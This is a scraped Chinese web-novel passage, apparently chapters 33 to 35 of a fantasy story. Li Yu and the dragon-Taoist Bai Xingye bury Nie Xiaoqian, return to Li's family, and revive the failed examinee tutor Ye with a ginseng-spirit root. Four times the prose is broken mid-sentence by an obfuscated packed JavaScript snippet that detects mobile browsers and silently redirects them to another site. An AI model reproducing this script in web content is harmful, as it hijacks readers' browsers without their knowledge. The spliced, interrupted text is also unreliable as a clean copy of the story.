第二天起来后,才发现王六郎已经去土地祠公干了。李钰和白行野请小黄带路,去寿庄买了现成的棺材,又加钱找人刻了碑,很正式地将聂小倩的骸骨装进棺材,安葬到山间的一处开阔地。 李钰在她坟前上香烧纸,心里百感交集。聂小倩和他童年记忆里的电影女主角并不一样,但却一样可怜可叹。红颜薄命已是可惜,死后却遇到了比生前更多的劫难。 看故事的时候觉得凄美,但当他也参与进故事中,他只看到了血淋淋的凄惨,但愿这样的苦难不要再在他人身上重现了。 燃尽最后一张纸钱,李钰轻声道:“望你今后一切都好。再见了,小……聂姑娘。” 白行野在旁静静等着,他总觉得李钰对这个女鬼不一般,但他又表现得坦荡极了,不像有什么别的心思,便只能归结为同情心使然。 两人一狗下山而去,聂小倩的身影蓦然出现在山间树荫之下。她含泪望着二人远去的背影,跪了下去深深一拜,终究还是行了那未完成的跪谢大礼。 “恭送二位恩公,小倩定不负所望。” 白行野忽然回头一望,李钰顺着看过去,只看到一片绿树成荫。 “怎么了?” 白行野摇摇头,“只是想起当日你非让我进西峰寺积功德的事。” 李钰疑惑地说:“那又怎么了?” “就是感觉……”白行野扬起嘴角,“挺好的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115934|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告别了聂小倩,他们二人又在邬镇及附近的城镇潇洒闲逛了好些日子。直到冬茶梅已开,才依依不舍地向王六郎辞行。 走之前,李钰找到镇长和镇中耆老们,将自己剩下的银钱都给了他们,请他们帮忙修缮一下土地祠。众人虽疑惑一个外地人怎么要修他们的土地祠?但也乐呵呵地应下。 做完这一切,李钰和白行野才离开了邬镇。其实两人这短暂的出行还不到一个月,可李钰怕家中老父母担心,倒是也有寄信报平安,但还是决定先回家一趟。有了这次的经历,想必之后自己再要出行也不会像之前那般费尽唇舌了。 回家之路目标明确,不过一天的时间,白行野便载着李钰跨越几府,回到了常州府武进县。 两人一进家门,老管家李平便迎了上来,“哎呦!少爷和白道长回来了!少爷啊,可想死小的了,这一路上真是辛苦白道长照应了。” 他这一声大喊惊动了整个宅子的关注,丫鬟小厮奔走相告,“少爷和白道长回来了!” 李钰有些无语,从未出过远门的小少爷如今平安归来,竟值得这么大的阵仗?这不,两人还未走进正院,李化和木若菱就匆匆赶来。 木大娘子一把抱住李钰就开始哭道:“我的心肝,你这出门一趟,我日日夜夜提心吊胆,就没睡过一天好觉,怎么才回来呀?” 李化也有些激动,但还是忍住情绪,劝慰道:“不是跟你说了吗?儿子出去是为了避祸,如今才不过一个月就回来了,这不正说明儿子挂念我们吗?” 李钰忙跟着说:“对呀,爹本还想让我多躲几个月的,这不是思念你们,早早就回来了嘛。” 木若菱这才收住眼泪,道:“是是是,是为娘太过想你了,我怎会不知我儿的孝心?你的信我们都看了,如今一切没事就好。” 提到这茬,李化便说:“这还得多谢白贤侄相助,好容易才保住我儿清白。” 李钰嘴角一抽,这说的是什么话?再看白行野,此时对方正抬手捂嘴憋笑中。 见李钰面露威胁,白行野这才正色道:“伯父不必在意,我在府上也叨扰许久,不过做些力所能及之事,况且我和李钰相交甚笃,怎能看他蒙难?” 李化见白行野如今越发知礼数又如此热心肠,早前他刚来李家的时候,李化还觉得此人冷面冷情,只当给儿子面子,供养个道长而已,又不是养不起。结果没成想是他看走了眼,这还真是个冷面热心、重情重义之人,此时对白行野越看越喜欢。 他拍了拍白行野的肩,真心实意道:“行野啊,我家珠儿难得能有你这般为他掏心掏肺的知己。今后可别再说什么叨扰不叨扰的,以后这里就是你的家,你且安心住着,不许再这么客气了。” 木若菱也慈爱道:“是啊,你将我儿护得这般周全,我们做父母的感激都来不及。就听你伯父说的,在家安心住着、长久地住着!我们早都将你当自家子侄看了。” 白行野怔住了,谁能想到当日他有意接近李钰,住进李家只是为了探查这不知何处来的灵魂有何目的。可他在这个家里,却交到了真正的朋友,还有这样一对老人家如此真心相待。 他此时似乎明白李钰明明不是李家夫妇的亲儿子,他出门在外却还是分外挂念二老的原因了。也体会到师父当初让他下山的深意,师父不只交代他斩妖除魔维护正道,积攒功德为登上仙位做准备,更是嘱咐他需去体验人世间的一切。 这份对他来说陌生又厚重的情感,或许也是师父想让他体会到的吧? 白行野脸上有了他自己都不曾意识到的柔和,他规规矩矩地拱手向二老行了一礼,“承蒙厚爱,我白行野定不负李家。” 他这郑重的一礼一言,不仅让二老诧异,就连李钰也有些心神震动。有些情感用言语很难表达,但人与人之间却有一种默契,只有彼此才能体会到其中的深厚情谊。 33.归家话 李化握住白行野的手,欣慰道:“好孩子好孩子,你们一路也累了,我这便让厨房备上好菜好好犒劳你们!快进去坐,喝点茶水歇一歇。” 看着白行野被二老言笑晏晏地拉进屋内,跟一家三口似的,李钰一边轻笑一边摇头,心里不知为何有种说不出的温暖和满足。 晚上的接风宴,木若菱屏退了布菜的丫鬟仆妇,一家人连同詹贵儿都坐在一起吃饭,詹贵儿面前还摆了一副小碗筷。小孩也好久没见到李钰和白行野了,一个劲儿地卖乖,李钰逗他,“你又吃不了饭还在这儿扰我,这些日子我跟你道长哥哥不在,肯定天天皮,也没好好读书和修行吧?” 知道他是玩笑,木若菱依旧出言维护道:“贵儿他虽不能吃饭,闻闻味儿也是好的。你是不知道,每次你不在的时候,可都是贵儿陪着我。这孩子可懂事,我知他每次显形都是消耗,可他依旧每日都来陪我,哪里去找这么懂事的孩子啊?” “那还是因为阿公阿婆对我好呀。”詹贵儿嘴甜道,得意地看向李钰。 李钰“啧啧”两声,“我说呢,这不年不节的又换新衣服了,原来是把娘亲哄得好呀。” 只见詹贵儿今日换了一身黄澄澄的圆领袍,小孩穿这种鲜亮的颜色,更显得活泼可爱了。 木大娘子佯怒道:“什么不年不节的,这秋衣本就该准备的!我们小贵儿有,你和白贤侄也是有的,都在放进你们房里了,可不许再说拈酸吃醋的话了啊。” 詹贵儿有人撑腰,偷偷对李钰做鬼脸。 “这小鬼头……”眼看李钰又要胡闹,白行野忙给他夹了一筷子菜,他才老实吃饭。 这一顿操作下来,把老两口看得笑作一团,一家人就这么和和美美地吃了一顿团圆饭。 晚些时候,李钰好好泡了个澡,早早就准备睡觉了。在外一个月好玩是好玩,回到家里却有种迟来的疲累,放松下来以后,只想好好睡上个三两天,可就偏有那不识相的找来了。 詹贵儿扑到李钰床上,怎么赶都赶不走。 李钰半躺着问他,“怎么?想你哥了?” “谁想你了呀!”詹贵儿嘟着嘴反驳,又磨蹭了会儿说,“好吧,是有那么一点点想。” 李钰听了心里那叫一个熨帖,奈何粘人的小子来得不是时候,“那你待如何啊?” “我就想和你说说话不行吗?” “可是大哥我现在很困,明天再说不行吗?”李钰边说边打了个哈欠。 詹贵儿就不说话了但也不走。 李钰无奈,一时恶向胆边生,想起詹贵儿和白行野一同瞒着自己的事,质问道:“你早知道你的道长哥哥是龙了吧?” 詹贵儿一个激灵从床上爬起来,惊道:“你……你也知道啦?” “哼哼,要想人不知除非己莫为,好你个小鬼头,我好心收留你,你却还瞒着我这么大的事!”李钰故作生气。 詹贵儿忙辩解道:“那不是我也不敢说嘛……而且道长哥哥也没有坏心眼儿,他对你也很好呀,那我说不说又有什么关系嘛。” “嗯,白行野是挺好的。”李钰点点头,又话锋一转,“可是你知情不报,现在还强词夺理不认错!罪加一等!” 詹贵儿赔着笑,“哪有这么严重?哥哥你就别生气了,我以后一定什么事都不瞒你。” “真的?” “自然是真的!我发誓!”小鬼坐直,挺起胸膛,满口保证。 李钰又问:“那你说说,这一个月你都做些什么呢?” “就和平常一样啊,只是有时候小翠姐姐会来找我玩。她都是变成小狐狸的样子来找我玩的,所以我就让她进来了,没有吓着别人。”詹贵儿边说边看李钰眼色。 “哦?没想到你和小翠还处成好朋友了。”李钰想着小翠那孩子气的行事做派,倒还真能跟詹贵儿这个真正的小朋友玩到一起去。 李钰不由感慨:“真是天真无邪啊。” 詹贵儿见他不再纠缠上一个问题,忙竹筒倒豆子似的把他们玩些什么都跟李钰交代清楚,听得李钰昏昏欲睡。 “小翠姐姐还教我修炼呢!她说我认真修行说不定能成鬼仙,毕竟等重入轮回也太久了。” 本要都要睡着的李钰听到这话立刻来了精神,问:“她都教你些什么?” 詹贵儿边回忆边说:“她跟我说,她们妖精修炼需要吸取天地日月的精华,这和我们鬼魂吸取月华、阴气修炼是一样的。可她还说,现在的妖精和鬼怪都越来越浮躁了,有好些都不爱走正途,有去夺别人的金丹的,有去采补人的精气的……” “咳咳咳……”李钰一听气得被口水呛了嗓子,咳个不停,好半天才缓过来。小翠怎么这样口无遮拦,詹贵儿才多大个小孩? “她跟你说这些干什么?” “是我问他我还得多久才能入轮回?小翠姐姐就说,我若不想等业债消掉后去入轮回,就去修成鬼仙,但还是得走正途,好好念白道长给的经文,努力修行,积攒功德才行。”詹贵儿帮着小翠解释,“她说若是她们狐狸和人在一起倒还好,可若是鬼魂和人在一起,那人可就没多少活头了。鬼若走歪路,那就又得害人,身上的业债就更多了。” 李钰松了口气,“原来是这么回事。”还好小翠说的是正经的。 “她这么一说,还给我吓着了。我想宅子里这么多人,天天和我在一起可怎么办?还好小翠姐姐说她说的‘在一起’和我说的‘在一起’不是一个意思,那她说的‘在一起’到底是什么意思啊?” 李钰尴尬了,这小翠劝小贵儿走正道是好话,可说得未免太多了…… “咳咳,总之你住在我们家是没问题的!之前你道长哥哥也跟我说过,顶多就是沾染些鬼气,多晒晒太阳就行了。你这么个捣蛋鬼,还真当自己多大能耐?没被这阖府的阳气影响都是好的了!”李钰将白行野给他科普的,照本宣科给詹贵儿说了一遍。 看詹贵儿脸上露出如释重负的表情,李钰也没想到这小子这样的年纪却会为大家着想,果然如他娘说的,就没见过这么懂事的小孩。 詹贵儿高兴道:“那我明天去跟阿婆说,让她平日也多出去走动走动,她不想动的话,我就打着伞陪她走。” “哎哟喂,真是惹人疼的小孩。”李钰忍不住捏了捏詹贵儿的小脸蛋。 詹贵儿嘿嘿一笑,又撒娇道:“哥哥你现在倒是回来了,可我好久没看到叶先生和丁哥哥了,你也去请他们过来坐坐嘛,我也想他们了。” 李钰哪能拒绝?一口答应下来,又道:“只求你让我先歇两天,过两天我一定去请可以了吧?” 詹贵儿目的达成,终于拍拍屁股起来了,大发善心地放李钰睡觉去了。 李钰懒懒地在家里呆了几天,终于决定去见见师弟了。本想递个帖子邀丁再昌上门,想了想还是自己亲自去请一趟。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121202|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 因为白行野要修炼,李钰就没叫上他。 到了丁府,被门子引到丁再昌的书房,刚进去丁再昌就过来了。他一脸的惊喜,嘴里却嗔怪道:“好哇师兄,你倒是在外逍遥自在,可不知我近日都无聊死了。” “这不回来就亲自来找你了?而且没有我,席兄和秋隼他们不也能陪你玩。” “他们啊,近日都认认真真温书呢,明年二月大家都要县试,都想挣个秀才功名!弄得我也不得不紧张起来。” “你肯定没问题啊。” 丁再昌不好意思道:“其实我正经读书也才三四年,小的时候调皮爱玩也不爱读书,我爹打都打不听,还以为我废了,结果到了年岁跟开了窍似的,自己就能静下心读书了。” 李钰没想到看起来认认真真的丁再昌,竟还有这样的童年,赞道:“那你是读书的料啊!叶先生在我面前说起你总是赞不绝口。” 话音刚落,丁再昌的脸色一下就不自在了,唉声叹气道:“其实……先生他,病了。” 李钰一惊,“怎么回事?” “这次秋闱,先生又落榜了。” 一时无言以对,李钰是看过先生的文章,也看过丁再昌的文章的。古时候考的八股文对于他来讲,就是又臭又长的长篇大论。但在叶先生指导下,浅薄地了解了一些后,再看二人的文章,他又觉得都是极好的。 叶先生在县里的才名也是人尽皆知,颇受人景仰,丁县令也是因为赏识他的才学,两人才成为至交好友的。可怎么就是回回应试不中呢? 李钰对科考了解不多,只能叹气,“难道真是时运不济?” 丁再昌却道:“先生考完后,我爹让他将做的文章背来听,当场就拍案叫好,我们都以为这次他定能上榜。也不知那些考官是怎么回事?有眼无珠到这种地步!还是说真的就是寒门之子不得显贵?” 他愤愤不平地说完,就立刻反应过来此乃大不逆之言,忙下意识捂住了嘴。 “就只有我俩在此,不用担心。”李钰忙安慰,又问,“先生的病情如何,大夫怎么说?” 丁再昌摇摇头,“大夫只道是‘心病还需心药医’,现在不过也只是吃点汤药吊着命。” 这话一出,李钰越发觉得严重,怎么就到了吊着命的地步了,急忙要去探望先生。 “我们都劝不好先生,可先生总说师兄你做事不拘一格,向来欣赏你,或许你说的一些歪理反而有用。”丁再昌也立刻起身。 “行了,怎么这么多话,快给小爷带路吧。” 叶先生家不在城里而在城郊乡间,李钰叫人套了马车来,就和丁再昌一同前往叶先生宅邸。 而到了叶先生家一看才知道,这并不能叫做一处宅邸,只是一户看起来颇为萧条破败的农家小院,院中还飘散出一股中药材的苦味。 李钰迟疑地叩响门扉,前来开门的是一位面黄肌瘦的妇人。丁再昌对其躬身施礼道:“师娘,我带师兄来看看先生。” 原来这位就是先生的妻子,师娘显然是知道李钰的,热情地招呼他进门,可还没说上两句话,就被婴儿的啼哭唤走了。 师娘抱着襁褓中的孩子轻轻摇晃着,李钰见她忙,便道:“师娘我们进去看看先生,您不用管我们。” 师娘只能应声,她也确实腾不出手。 李钰随丁再昌进了里屋,看到床上躺着的叶先生,委实是吃了一惊。 34.叶生(一) “先生怎么瘦成这般模样,这才过去多久?”李钰连忙走到床边,握住叶先生骨瘦嶙峋的手,担忧地问道。 “你们来了。”叶先生的声音有气无力,他想要撑起身子坐起来,被李钰按了回去。 “先生不用起身,是学生不请自来,打扰先生了。” 叶先生强撑着笑笑,“有学生记挂我,我也深感安慰,只是你先生我,如今却不能好好招待你,今后恐怕也难以教你了。” “先生这是说的什么话,您要好好振作起来,学生如今连四书都没读完,还需要先生再教导我才行。”李钰说着说着哽咽起来,他万没想到叶先生真的病到这种地步。 叶先生安慰道:“好了好了……会好的。” 说着安慰的话,却是双目无光,仿佛只是为了安抚住他,李钰心里更加难受了。 他还不认识叶先生的时候,曾向他爹口出狂言,说自己难道读书是要一辈子困于科场吗?可如今眼见叶先生明明胸有大才,却当真落到这个地步,真真正正地体会到什么叫哀其不幸。 说是探望,可两人并没能在叶先生这儿呆多久,叶先生实在说不了多少话,便又昏睡了过去。 从里屋出来后,李钰看到师娘一边抱着孩子一边熬药,热气熏蒸着她带着细纹的脸庞,豆大的汗珠从她颊边滚落。两人上去帮忙,直到给叶先生喂完药才走。 李钰不敢多叨扰,只在他们家的饭桌上将自己的钱袋子留了下来。 他和丁再昌在回去的路上都很沉默,良久李钰才说:“我未曾想过叶先生家居然贫困至此。” 丁再昌道:“寒门之子向来如此,况且叶先生家人丁稀薄,读书备考本就花钱,家里几亩薄田也只有师娘一人打理,如今又有了孩子……虽然我爹时常接济他家,但先生非是家里实在揭不开锅,都拒绝了。” “先生性子太倔了。”李钰摇头。 “之前私塾招教书先生,本来我爹想举荐他去,被他以自己要为科考准备为由拒绝了。后来还是李伯父给你找先生,问到我爹这边,才劝他去你家教书,因为教的人不多,他还算有时间精力才应了下来。可又因为之前你那边各种事忙,没多久先生又要备考了,统共也没上多久课,恐怕束脩早用完了。” 李钰闻言有些不解,“我知道对于寒门子弟来讲,科举是可以改变阶级地位的唯一出路。可先生家这都已经快过不下去了,还要继续吗?家里还有孩子要养,我看师娘她实在太辛苦了。” 丁再昌却不太认同李钰的话,“人说‘学而优则仕’,像先生这样有才之士自然要去科考的,况且读书人理应以治国平天下为目标。叶先生虽然贫困,但一朝中举谋得官位,便能带全家摆脱现状,他为何不去科考?” “可他自己也好,家人也好,连生计都困难……”李钰止住了话头,“罢了,叶先生如今养好身体才是重要的事。” 同为读书人的丁再昌听了李钰言语间的不理解却有些生气,“师娘撑起家里一应事务,就是为了叶先生能安心读书,如此远见和大义令人钦佩!何况作为学生如何能妄议师长?此话你可别在其他人面前说。” 李钰愣愣点了点头,他一面可以理解,但另一面先生那病入膏肓的身子和师娘显而易见的疲惫瘦弱,却始终在他心中挥之不去,他不禁想问:值得吗? 如果先生愿意去私塾谋份差事,撑起家业同时继续读书,不过度执着科举,不为失败而动摇心境,他的家庭和他的身体,至于到如今这样的地步吗? 一番对话后,两人不欢而散,李钰闷闷不乐地回到自己家。 他没回自己的房里,径直去了白行野那儿,进了屋就一屁股坐凳子上,双手抱胸。 白行野看着好笑,问道:“这又是怎么了,不是去找丁再昌玩了吗?” 李钰唉声叹气地将今天的事情一说,又道:“我就是心疼先生既不顾惜自己身体,又不管家里人,一昧执着于落第的失望,又劝他不得。真是,真是……” 真是让人又急又气。 白行野听完想了想才说:“你先生这是心病,要继续吊着性命倒是不用担心,我回头进山找老参精要点根须即可。” 李钰眼睛一亮,“不愧是你啊行野!” “只是他这人执念太深,就算保住一时的性命,往后却也不好说。” 李钰耷拉下脑袋,“我也知道,而且不只是先生的问题,先生一家都不好过,生活都难以维持,却还不着眼于当下。如果真是一直考不上,一辈子都这么蹉跎过去,一家子都要为一个人的理想而奉献,我实在想不通。” “这是他们自己的选择,你何必愁这些?”白行野觉得李钰那多管闲事的毛病又犯了。 “我就是今天见到了师娘……挺不好受的。我不是不能理解先生,如果一朝中举,谋上个一官半职,全家的命运都能改变。可若是连当下都如此艰难了,还真的要一直为一个飘渺的理想不过日子,不要性命吗?” 白行野也沉默了,他作为一条龙,自然也是不太能理解的。 李钰从白行野房间出来后,一直陷入纷乱的思绪中。见到詹贵儿更不知道怎么说,只能应付他两句说过几天再去请叶先生和丁再昌过来,詹贵儿看他心情不佳也没有再纠缠。 第二天,李钰一早就去找他爹,想让李老爷派两个下人去先生家暂时帮忙照顾一下,可这一次李化居然拒绝了。 李化语重心长道:“读书人都讲究气节和脸面,何况你先生那样性格的人,说得不好听点,就是死脑筋。他家境不好,你又是人学生,还要自作主张派人去他家里照顾。你以为你是做好事,可到时候怕是会闹得场面难看。” 李钰这下可没招了,“那怎么办?师娘一个人又照顾病人又带娃的,家里地虽少,秋收时村里大伙都拉了一把,可她依旧忙不过来。” 李化思虑一番,道:“你先生那样的性格,或许还得你再亲自登门拜访,痛陈你对他的担忧,求着他让仆从进门才行。你可一定得斟酌用词啊,尤其是他们这样清贫的读书人,那是绝不会接受施舍一样的行为的。” 李钰倒不觉得此事有多难,只觉得这人情世故的门道还真挺多,往后还得跟他爹多学学。 “至于仆从人选,你就跟你娘说,让她选个老练又力气大的,还得嘴巴紧的婆子。可你始终还是得先给你叶先生说清楚,才好送人过去。”李化又再三嘱咐。 李钰连连点头,“好的,我明白了,我这就去安排。” “好,叶先生没白教你,去吧去吧。” 李钰麻溜地跑了,就又要往叶先生家去。走到门口刚好遇到了从外面回来的白行野,只见他衣袖和下摆都湿漉漉的。 李钰见状忙拉着白行野回去换衣服,边走边问:“你这是去哪儿了?怎么衣服都湿了?” 白行野不在意地抬起袖子看了一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124484|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只是山间的一些晨露,外衫湿了点。” “你进山里了?” 白行野微微一笑,从衣襟里掏出一截树枝一样的东西,李钰定睛一看,“这就是老参精的根须?” “对,那老东西藏得比想象的深,找到天快亮了才找到。”白行野略带抱怨地说。 “行野……”一时之间,李钰有千言万语却不知从何说起。 白行野揉了揉他的头,将参须递了过去,“愣着干什么?快拿着,我还要换衣服。” “哦。”李钰呆呆接过,出了门去,在外等着。 白行野意外地看他关上门,平时没这么见外的,今天怎么了?这么老实,还出门去等他。 殊不知李钰也不知道自己在想什么,他握着那一截参须,这不但是能救叶先生性命的良药,更是李钰的一颗定心丸。白行野昨日才答应,在无人知晓的时候就连夜把这东西带回来了。 细数下来,欠下的人情越来越多,李钰都不知道怎么还了。 白行野换完衣服,将门打开招呼李钰进去说话。 李钰回过神来,真诚道谢:“行野,谢谢你。” 白行野温和地笑着说:“不用,免得你时时挂心。你就当是礼尚往来吧。”说着还指了指自己身上的新衣服。 李钰这才看到,白行野今天穿的是他娘准备的秋装。 这是一种类似曳撒的袍服,百姓中尤其是富贵人家想穿曳撒这种衬腰身的飒爽装束,可又不敢穿真正的曳撒,那可是僭越。于是只敢仿制了其形制,颜色选用更偏素色,绣的花纹也只敢用普通的花草纹或云纹,做出“类曳撒”的服装。 白行野今天这一身,就是影青色云纹底的袍服,腰身收的紧紧的,看起来比平日更显得高挑挺拔。 可是尴尬的是,李钰今天也穿的是这样一套,只是他是月白色青竹纹样的。李钰心里嘀咕:怎么弄的跟情侣装似的? 他自己心里有鬼,看啥都不对劲。猛然想起自己还有正事要办,忙用手帕包好参须就要去叶先生家。 白行野道:“看你今天慌慌张张的,我跟你一道去吧。” 李钰自然不会拒绝,两人一同来到叶先生家,还没走进门就听到了一阵哭天抢地。叶先生家门口围了一群村里人议论纷纷,一名郎中从门内走出连连摇头。 李钰脸色大变忙上去问:“大夫,我先生怎么了?” 那老郎中打量了一下李钰,说道:“这叶生心气儿没了,再多药石也枉然,如今已是弥留之际,你既是他的学生,便快去送送他吧。” 李钰一听急忙冲进屋内,只见师娘跪趴在先生床边哭得撕心裂肺,而先生胸口起伏微弱到几乎看不见。 没想到来得这么快,不过一天时间,先生居然已经…… 白行野一个箭步走到床边,探了探叶先生的鼻息和脉搏,回头对李钰道:“还有气,快将参须拿来!” 李钰手忙脚乱地从胸前掏出手帕,将参须取出交于白行野。只见白行野握住参须轻轻一捏,手再张开参须已经化为齑粉。他捏开叶先生的嘴,将手中的粉末倒了进去,又道:“快拿水来!” 师娘一看,虽不知吃的是何物,但也知道这两人是在施行救命之法,忙端来水。白行野将叶先生身体扶起来给他灌水,又用一只手捂住他的嘴强硬地让叶先生将参粉尽数吞服下去,直至叶先生不再有干呕的情况,才将他重新安放回床上。 35.叶生(二) 李钰和师娘都在一旁紧张地看着,这次叶先生躺下后,明显可看到其胸口慢慢恢复正常起伏,呼吸声也平顺了许多,三人顿时都松了口气。 “还好赶上了。”李钰心有余悸,不愧是成了精的人参的根须,就那么一点竟硬是将人从鬼门关抢了回来。 师娘感激道:“李少爷,多谢你和你的朋友。可这是吃的什么?怎么忽然好了?刚刚大夫都说没救了,我还以为……” 李钰不敢居功,忙道:“师娘,这是是白道长采回来的,呃,是百年人参的根须!先生命不该绝,往后应该好好养着,定能康复的。” 师娘点点头又摇摇头道:“这么贵重的药材,我们如何回报得起?如今救了他这一命,可他若是还想不开,恐怕……” 李钰自然懂师娘的未尽之语,他又何尝不担心?但也只能劝慰道:“等先生好些了,师娘你也需多开解开解他。即便科场之路艰难,但日子还是要过的。” 可他这一句劝慰却起到了反作用,本来在刚才惊险的救助之下,师娘已经忘记了哭泣,可此时却忍不住再度落泪,“日子还是要过的……这谁能不知?可我们这苦寒之家靠着两亩薄田为生,夫君又需得专心致志考取功名,全家上下只我一人打点。若不是后来他愿意去你府上教书,这日子恐怕早就撑不下去了!如今他又这个模样,我和孩子与那孤儿寡母有何区别?这日子还如何过得下去!” 许是这几日精神太过紧绷,也或是这些话在师娘心中憋了太久,如今忽然像发泄一般说了出来,又狠狠哭了一场。终是意识到在丈夫学生面前说这些有些不妥,抹干净眼泪,以照顾孩子为由先退出了里屋。 李钰其实也难受,原来师娘也并非没有怨气,和当下女性嫁鸡随鸡、嫁狗随狗的处境相比,人人都觉得能当秀才的正头娘子,对于一个平头百姓之家的女子来说,已是莫大的荣幸。可秀才的名头,或有一丝荣光也能免除徭役,可却无法改变贫穷的本质,谁又知这背后多少艰苦和辛酸。 他看向先生,躺在床上的先生面色渐渐好转。也不知他明不明白,他的娘子为了这一家子如何继续生活下去,早已心力交瘁。 李钰离开里屋去跟师娘说话,将自己想派个婆子过来暂且照应的想法告诉了师娘,却被其委婉但坚定地拒绝了。 实在拗不过,李钰也只能说:“那等先生醒来再决定。” 这次,师娘没有拒绝。 她不时要照顾孩子,还准备煮些清粥给叶先生备着。李钰见她忙不过来,主动去帮她劈柴,不过他并不会这项技能,被白行野动动手指代劳了,三两下就在房檐下堆满了柴火。 李钰心烦意乱,便又去守在叶先生身旁守着,白行野也不多话,只是静静陪着。 到了当天午后,叶先生终于悠悠转醒,竟能自己坐起来了。李钰忙去叫师娘,夫妻俩经历一番短暂的生死别离,具是百感交集,抱头痛哭。 白行野劝道:“叶先生刚醒,不宜如此心绪起伏太大。” 两人这才收住眼泪,师娘各种交代了一番,便要去热粥,让他们和叶先生说话。 叶先生精神明显见好,扯起嘴角对李钰笑,“你我并未做多久的师生,却能费心至此,我这个做先生的实在惭愧。” 李钰却半晌没有接话,白行野频频向他使眼色,李钰才说:“行野,你先出去吧,我有话跟先生说。” 白行野仿佛意识到什么,欲言又止,又看了看叶先生的脸色已经转好,才默默退出了房。 叶先生疑惑地等着这个素来想法跳脱的学生开口。 李钰内心挣扎,还是问出了他最想问的,“先生如今,还一心只想着落榜之事吗?” 叶先生搭在被子上的手猛地握紧,并不言语。 此时的李钰却显得咄咄逼人,“先生为何如此执着于科举致仕?” 叶先生良久才道:“读书人皆以修身齐家治国平天下为己任。” 李钰默然点了点头,他迈步到叶先生床前,忽然跪了下来,如同当日行拜师礼一样,他拱手发问:“那么学生敢问,在治国平天下之前,先生是否做到了修身和齐家?” 叶先生猛然抬头,好不容易恢复正常的面色,忽地瞬间惨白。他又羞又恼,颤声道:“你怎么敢对师长说出这样的话?” “学生愚笨,冒犯先生。但学生想请教先生,读书人讲究的修齐治平,所谓修身,并不只是指才华和德行,还有坚韧的意志!先生本有大才却屡试不第,我也为之愤慨。可若先生如此执着科场,又为何不能打起精神,照顾好自己的身体,等待来日再战?” 李钰并未等叶先生回答,继续道:“所谓齐家,作为一家之主,更要顾念家庭,抚养妻儿,履行对家庭的责任和义务。先生有看过师娘的手吗?粗糙不提,上面还满是细细密密的伤口。先生有听到您孩儿的哭声吗?有亲自抱过他、哄过他吗?” 叶先生心口一痛,却无法反驳。 “至于‘治国平天下’,如今更是梦幻泡影。先生,您所追求的到底是读书人的理想,还是朝为田舍郎,暮登天子堂,能够一朝翻身的功名利禄?” 叶先生如遭雷击,若非老参精的根须功效实在强劲,他感觉自己几乎立刻就能背过气去。他的脸上青红变幻,多年来的文人修养,却不允许他破口大骂。 李钰表面声声质问,内心却已然惊涛骇浪,生怕先生真被他气出什么好歹。可这个时代的人,对于读书人考取功名这样的事,多是认同和称赞。况且先生本身就才华横溢,走科举之路理当如此,除了他无人会戳破这美梦下是一整个贫苦家庭的献祭。 屋内落针可闻,只听得到叶先生粗重的呼吸声。过了许久才听他叹道:“你懂什么?生于寒门,难道是我的错吗?执着功名利禄又如何?若能靠科举一朝翻身,我的家族何尝不是能从此登上另一个阶层,我的妻子孩儿又何至于是如今这个样子!” 他喘了喘气,又道:“我母亲早逝,父亲还在时就不顾乡邻说我们痴心妄想,卖了田产供我读书,在他死前我终是没给他丢人,考中了秀才,也让所有人高看我一眼。可那又怎样?日子依然贫苦如旧,我若不争一争,我们一家就算有这秀才之名在身,也不过跟村里人过着一样的日子。不,甚至更穷苦的日子!” “若是如此,那您就继续争啊!一次不中,便次次都去!胜败乃兵家常事,科场也如战场厮杀,不论是为了理想还是为了名利,都不应该就此一蹶不振!令尊穷其一生都在供养您读书,师娘如此辛苦也是为了您,您苦读半生难道要就此放弃,不顾身体不顾家人,只沉溺在自己的情绪中吗?” 李钰的一字一句重重砸在叶先生的心上,他闭眼仰头,再睁开眼看见的是屋顶漏风的瓦片,他好像才注意到家中竟是残破至此了。 “你先回去吧。”叶先生缓缓道。 李钰惴惴不安,“先生……” 叶先生脸上看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132135|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出喜怒,淡淡道:“我会好好想想的,你先回吧。” “对不起,先生。”李钰缓缓行了一礼,退了出去。 